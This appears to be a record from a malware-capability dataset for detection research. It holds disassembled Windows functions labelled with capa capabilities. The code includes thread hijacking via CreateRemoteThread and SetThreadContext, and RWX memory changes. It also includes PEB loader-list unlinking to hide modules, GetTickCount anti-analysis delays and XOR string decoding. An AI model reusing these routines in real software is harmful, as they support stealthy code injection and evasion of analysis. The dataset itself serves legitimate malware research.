joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c1d0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101233d0]
cmp eax, 0x927c0
jb 0x1000c1f3
call esi
mov dword [0x101233d0], eax
cmp dword [0x1012338c], 0
je 0x1000c2be
push 0
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov eax, dword [0x1012339c]
mov ecx, dword [0x101233a0]
mov esi, eax
cmp eax, ecx
je 0x1000c250
push 0
push ecx
push eax
call dword [sym.imp.MSVCR100.dll_memmove]
add esp, 0xc
mov dword [0x101233a0], esi
push 0
mov dword [0x10d76444], 0xffffffff
call dword [sym.imp.USER32.dll_GetDC]
push 0
push 0x1000bef0
push 0
push eax
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
test eax, eax
je 0x1000c2a0
mov edx, dword [0x1012339c]
cmp edx, dword [0x101233a0]
je 0x1000c2a0
push 0x1012339c
call fcn.1000c2d0
mov eax, dword [ebp - 4]
add esp, 4
push eax
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop esi
mov esp, ebp
pop ebp
ret
push str.SOMETHING_WENT_WRONG._Terrible_sorry...
push 0
mov ecx, 0x1011e310
call fcn.10006ec0
mov eax, dword [ebp - 4]
add esp, 8
push eax
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000c9f0
Capabilities:
Encode data using xor
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x1001e018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.____________________________________________________________________________________________________
push 0
mov ecx, 0x1011e310
call fcn.10006ec0
push 0x94
lea eax, [ebp - 0xe0]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0x14
lea ecx, [ebp - 0xe0]
push ecx
mov dword [ebp - 0xe0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0x100
push 0
push 0x10d7b8e0
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10016618]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10d7b8e0], cl
inc eax
cmp eax, 0x100
jb 0x1000ca70
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov esi, ecx
mov edx, eax
shrd edx, esi, 0x14
shr esi, 0x14
sub eax, dword [ebp - 0x38]
push edx
sbb ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xdc]
shrd eax, ecx, 0x14
push eax
mov eax, dword [ebp - 0xd4]
push eax
shr ecx, 0x14
mov ecx, dword [ebp - 0xd8]
push ecx
push edx
push str.1.7.0
push 0x10d7b8e0
push 0
mov ecx, 0x1011e310
call fcn.10006ec0
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.10012cf4
mov esp, ebp
pop ebp
ret
Function at 0x1000caf0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1001adb8
push 0x100131c4
mov eax, dword fs:[0]
push eax
sub esp, 0x144
mov eax, dword [0x1001e018]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x20], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14c], eax
push ecx
push str..PhysicalDrive_d
lea edx, [ebp - 0x12c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
xor esi, esi
push esi
push esi
push 3
push esi
push 3
push esi
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x148], edi
cmp edi, 0xffffffff
je 0x1000cca2
xor eax, eax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], esi
mov dword [ebp - 0x134], esi
push esi
lea ecx, [ebp - 0x150]
push ecx
push 8
lea edx, [ebp - 0x140]
push edx
push 0xc
lea eax, [ebp - 0x138]
push eax
push 0x2d1400
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call ebx
test eax, eax
jne 0x1000cbd4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000cca2
mov ecx, dword [ebp - 0x13c]
push ecx
call fcn.10012c40
mov esi, eax
mov dword [ebp - 0x144], esi
mov edx, dword [ebp - 0x13c]
push edx
push 0
push esi
call sub.MSVCR100.dll_memset
add esp, 0x10
push 0
lea eax, [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
push esi
push 0xc
lea edx, [ebp - 0x138]
push edx
push 0x2d1400
push edi
call ebx
test eax, eax
jne 0x1000cc33
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
jmp 0x1000cca2
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1000cc20
mov dword [ebp - 4], 0
add eax, esi
push eax
push 0x100
mov eax, dword [ebp - 0x14c]
push eax
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov dword [ebp - 4], 0xfffffffe
mov al, 1
jmp 0x1000cca4
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.10012cf4
mov esp, ebp
pop ebp
ret
Function at 0x1000d560
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push str.LdrLoadDll
push str.Ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x1000d589
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push 0x10d76448
call edi
mov ecx, dword [esi]
mov dword [0x10d76448], ecx
mov ecx, dword [ebp - 4]
mov dx, word [esi + 4]
lea eax, [ebp - 4]
push eax
push ecx
push 6
push 0x10d76448
mov word [0x10d7644c], dx
call edi
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000d5d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x1001e018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea esi, [ebp - 0x408]
call section..text
xor eax, eax
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], eax
push 0xc
lea eax, [ebp - 0x424]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
test eax, eax
jne 0x1000d63b
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012cf4
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x424]
mov eax, dword [edx + 0x3c]
xor ecx, ecx
cmp cx, word [eax + edx + 6]
jae 0x1000d6c2
mov ecx, dword [eax + edx + 0x104]
add ecx, edx
mov edx, dword [eax + edx + 0x100]
or eax, 0xffffffff
mov dword [ebp - 0x410], edx
mov esi, ecx
test edx, edx
je 0x1000d691
lea esp, [esp]
movzx ebx, byte [esi]
mov edi, eax
and edi, 0xff
xor edi, ebx
shr eax, 8
xor eax, dword [ebp + edi*4 - 0x408]
inc esi
dec edx
jne 0x1000d670
mov edx, dword [ebp - 0x410]
not eax
mov dword [ebp - 0x40c], eax
lea eax, [ebp - 0x418]
mov dword [ebp - 0x418], ecx
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x410], edx
call fcn.1000eae0
push eax
lea edi, [ebp - 0x410]
call fcn.1000e340
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10012cf4
mov esp, ebp
pop ebp
ret
Function at 0x1000d6e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x1001e018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea esi, [ebp - 0x408]
call section..text
mov edi, dword [0x10d7b568]
mov edx, dword [edi]
cmp edx, edi
je 0x1000d78c
lea ecx, [ecx]
mov ecx, dword [edx + 0x14]
mov esi, dword [edx + 0x10]
or eax, 0xffffffff
test ecx, ecx
je 0x1000d741
lea ecx, [ecx]
movzx ebx, byte [esi]
mov edi, eax
and edi, 0xff
xor edi, ebx
shr eax, 8
xor eax, dword [ebp + edi*4 - 0x408]
inc esi
dec ecx
jne 0x1000d720
mov edi, dword [0x10d7b568]
not eax
cmp dword [edx + 0x18], eax
jne 0x1000d79f
cmp byte [edx + 0x1d], 0
jne 0x1000d788
mov eax, dword [edx + 8]
cmp byte [eax + 0x1d], 0
jne 0x1000d76d
mov edx, eax
mov eax, dword [edx]
cmp byte [eax + 0x1d], 0
jne 0x1000d788
mov edx, eax
mov eax, dword [edx]
cmp byte [eax + 0x1d], 0
je 0x1000d761
jmp 0x1000d788
mov eax, dword [edx + 4]
cmp byte [eax + 0x1d], 0
jne 0x1000d786
cmp edx, dword [eax + 8]
jne 0x1000d786
mov edx, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0x1d], 0
je 0x1000d776
mov edx, eax
cmp edx, edi
jne 0x1000d710
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012cf4
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.10012cf4
mov esp, ebp
pop ebp
ret
Function at 0x1000ebe0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x1001e018]
xor eax, esp
mov dword [esp + 0x8c], eax
cmp dword [esi + 0x18], 0
mov eax, dword [ebp + 8]
push ebx
push edi
mov dword [esp + 0xc], eax
je 0x1000ed57
lea ecx, [esp + 0x50]
push ecx
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
lea edx, [esp + 0x40]
mov edi, eax
mov eax, dword [esi + 4]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ecx, dword [esi + 0x18]
mov ebx, eax
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [esi + 0x14]
push 0xcc0020
push 0
push 0
push ebx
push edx
mov dword [esp + 0x24], eax
mov eax, dword [esi + 0x10]
push eax
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [esp + 0x10]
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [esi + 0x20], 1
jne 0x1000ed47
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
mov edx, dword [esi + 0x120]
push edx
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea ebx, [esi + 0x21]
mov eax, ebx
lea ecx, [eax + 1]
jmp 0x1000ecd0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000ecd0
sub eax, ecx
push eax
mov eax, dword [esi + 0x14]
push ebx
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, 0x3e
xor eax, eax
mov dl, byte [eax + str.P03__1fuxyk]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x14], dl
inc eax
and ecx, 0xff
cmp eax, 0x29
jb 0x1000ecf2
lea eax, [esp + 0x14]
push eax
push ebx
mov byte [esp + 0x45], 0
call dword [sym.imp.MSVCR100.dll_sprintf]
mov eax, ebx
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000ed24
mov ecx, dword [esi + 0x14]
sub eax, edx
mov edx, dword [esi + 0x10]
push eax
push ebx
sub ecx, 0xf
push ecx
sub edx, 0xdc
push edx
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x50]
push eax
push ecx
call dword [sym.imp.USER32.dll_EndPaint]
mov ecx, dword [esp + 0x94]
pop edi
pop ebx
xor ecx, esp
call fcn.10012cf4
mov esp, ebp
pop ebp
ret 4
Function at 0x1000ed70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1001e018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax + 4], edx
mov dword [eax + 0x1c], str.SPLASH
mov dword [eax + 0xc], edx
mov ecx, 0xc2
xor eax, eax
push ebx
lea ebx, [ebx]
mov bl, byte [eax + 0x1001a030]
xor bl, cl
inc ecx
mov byte [ebp + eax - 0x20], bl
inc eax
and ecx, 0xff
cmp eax, 0x1a
jb 0x1000eda0
lea eax, [ebp - 0x20]
push eax
mov ecx, str.lin
sub ecx, 0x702b1031
lea eax, [ebp - 0x2c]
mov byte [ebp - 6], dl
call fcn.1000f1a0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x10d76464], eax
pop ebx
call fcn.10012cf4
mov esp, ebp
pop ebp
ret 4
Function at 0x1000f230
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x82
xor ecx, ecx
jmp 0x1000f240
mov al, byte [edi + ecx + 0x2e62e9b2]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x19
jb 0x1000f240
mov byte [esi + 0x19], 0
mov eax, esi
ret

Function at 0x1000f260
Capabilities:
Encode data using xor

Disassembly:
mov edx, 9
xor ecx, ecx
jmp 0x1000f270
mov al, byte [edi + ecx - 0x7bd60ae8]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x1a
jb 0x1000f270
mov byte [esi + 0x1a], 0
mov eax, esi
ret

Function at 0x1000f420
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013b28
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1001e018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x10d7b580], 0
je 0x1000f4bd
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x10d7b584]
cmp eax, 0x1388
jbe 0x1000f4bd
push 0x10d7b5b0
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
test eax, eax
je 0x1000f4bd
call esi
mov dword [0x10d7b584], eax
test eax, eax
je 0x1000f4b2
call fcn.1000f360
test al, al
jne 0x1000f4b2
mov edi, 0x1001998c
sub edi, 0x79ddc0fb
lea esi, [ebp - 0x30]
call fcn.100065d0
push eax
push 2
mov eax, 0x10123628
mov dword [ebp - 4], 0
call fcn.1000f910
push 0x10d7b5b0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10012cf4
mov esp, ebp
pop ebp
ret

Function at 0x1000f540
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, ebx
jae 0x1000f572
jmp 0x1000f560
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, edi
cmp eax, ebx
jb 0x1000f560
pop edi
xor al, al
pop esi
pop ebp
ret
Function at 0x1000f580
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013de6
mov eax, dword fs:[0]
push eax
sub esp, 0x654
mov eax, dword [0x1001e018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dx, word [0x1001a0c8]
mov dword [ebp - 0x65c], eax
lea eax, [ebp - 0x620]
mov esi, ecx
mov ecx, dword [0x1001a0c4]
push eax
push 0x3ff
mov dword [ebp - 0x660], esi
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], dx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x1000f7a8
lea ebx, [ebp - 0x620]
xor edi, edi
jmp 0x1000f600
mov cx, word [ebx]
push 0x104
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x18], cx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x1000f6b6
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], edi
mov word [ebp - 0x63c], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000f643
sub eax, edx
sar eax, 1
push eax
mov eax, esi
lea ecx, [ebp - 0x63c]
call fcn.100109b0
lea eax, [ebp - 0x220]
mov dword [ebp - 4], edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000f670
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x63c]
push eax
call fcn.10010160
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000f6d5
mov dword [ebp - 4], eax
cmp dword [ebp - 0x628], 8
jb 0x1000f6b6
mov ecx, dword [ebp - 0x63c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dx, word [ebx]
add ebx, 2
test dx, dx
jne 0x1000f6b6
cmp word [ebx], di
je 0x1000f7a8
mov esi, dword [ebp - 0x660]
jmp 0x1000f600
xor eax, eax
mov word [ebp - 0x658], ax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x644], 7
mov dword [ebp - 0x648], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000f6f7
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x658]
call fcn.100109b0
mov eax, ebx
mov byte [ebp - 4], 1
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000f721
sub eax, edx
sar eax, 1
push eax
mov eax, dword [ebp - 0x648]
push ebx
inc eax
push esi
lea ecx, [ebp - 0x63c]
call fcn.1000ffd0
mov esi, 8
cmp dword [ebp - 0x644], esi
jb 0x1000f762
mov ecx, dword [ebp - 0x658]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0x63c]
cmp dword [ebp - 0x628], esi
jae 0x1000f776
lea eax, [ebp - 0x63c]
mov edx, dword [ebp - 0x65c]
push eax
push 0x104
push edx
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
add esp, 0xc
cmp dword [ebp - 0x628], esi
jb 0x1000f7a4
mov eax, dword [ebp - 0x63c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov al, 1
jmp 0x1000f7aa
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10012cf4
mov esp, ebp
pop ebp
ret
Function at 0x1000f910
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x100
push 0
push 0x10d7b8e0
mov ebx, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + 0x10019018]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10d7b8e0], cl
inc eax
cmp eax, 0x100
jb 0x1000f930
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push 1
push eax
push 0x10d7b8e0
push 0
mov ecx, 0x1011e310
call fcn.10006ec0
mov eax, dword [0x101233dc]
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
add esp, 0x14
test eax, eax
je 0x1000f9a2
push 0
push 0
push 0x10
push eax
call esi
mov ecx, dword [0x10d763b8]
mov edx, dword [0x101233f4]
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
push ecx
push edx
mov dword [0x101233dc], 0
call edi
jmp 0x1000f9a8
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, dword [0x10123504]
test eax, eax
je 0x1000f9d3
push 0
push 0
push 0x10
push eax
call esi
mov eax, dword [0x10d763b8]
mov ecx, dword [0x1012351c]
push eax
push ecx
mov dword [0x10123504], 0
call edi
mov eax, dword [0x1012362c]
test eax, eax
je 0x1000f9fe
push 0
push 0
push 0x10
push eax
call esi
mov edx, dword [0x10d763b8]
mov eax, dword [0x10123644]
push edx
push eax
mov dword [0x1012362c], 0
call edi
mov eax, dword [ebp + 8]
sub eax, 0
je 0x1000fa22
dec eax
je 0x1000fa16
dec eax
jne 0x1000fa2e
lea ecx, [eax + 0x6a]
mov eax, 0x2b2bb9
jmp 0x1000fa34
mov ecx, 0x69
mov eax, 0x116896
jmp 0x1000fa34
mov ecx, 0x67
mov eax, 0x9ca476
jmp 0x1000fa34
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
push eax
push edx
call fcn.1000ee40
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
mov ecx, ebx
mov edi, 0x1000f870
mov dword [ebx + 8], eax
call fcn.1000fe20
mov eax, dword [ebx + 8]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebx + 4]
test eax, eax
je 0x1000faa6
push 0
push 0
push 0x10
push eax
call esi
mov edx, dword [0x10d763b8]
mov eax, dword [ebx + 0x1c]
push edx
push eax
mov dword [ebx + 4], 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
call fcn.1000f4e0
int3

Function at 0x1000fb70
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x10d7b8e0
mov esi, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
shl esi, 8
lea ecx, [esi + 0x10016618]
pop esi
mov dl, byte [ecx + eax]
sub dl, 0x1b
xor dl, 0xc
mov byte [eax + 0x10d7b8e0], dl
inc eax
cmp eax, 0x100
jb 0x1000fb93
mov eax, 0x10d7b8e0
ret
Function at 0x1000fe20
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x1001e018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov dword [ebp - 0x2f4], eax
push esi
mov ecx, 0xd6
xor eax, eax
mov dl, byte [eax + 0x1001a0e8]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x1000fe47
lea eax, [ebp - 0x18]
push eax
mov ecx, 0x3f66258f
lea eax, [ebp - 0x24]
mov byte [ebp - 6], 0
call fcn.100105a0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x2f8]
push ecx
push 0x40
mov esi, eax
xor eax, eax
push 0x100
push esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
mov byte [ebp - 6], al
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 0x2f4]
push edx
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
push eax
mov ebx, 0x10002
push esi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea ecx, [ebp - 0x2f0]
push ecx
push esi
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012cf4
mov esp, ebp
pop ebp
ret 4

Function at 0x1000ff30
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x1000ff78
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000ff7c
cmp edx, esi
jne 0x1000ff61
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x1000ff9c
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000ffa0
cmp edx, esi
jne 0x1000ff85
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x1000ffc0
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000ffc4
cmp edx, esi
jne 0x1000ffa9
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret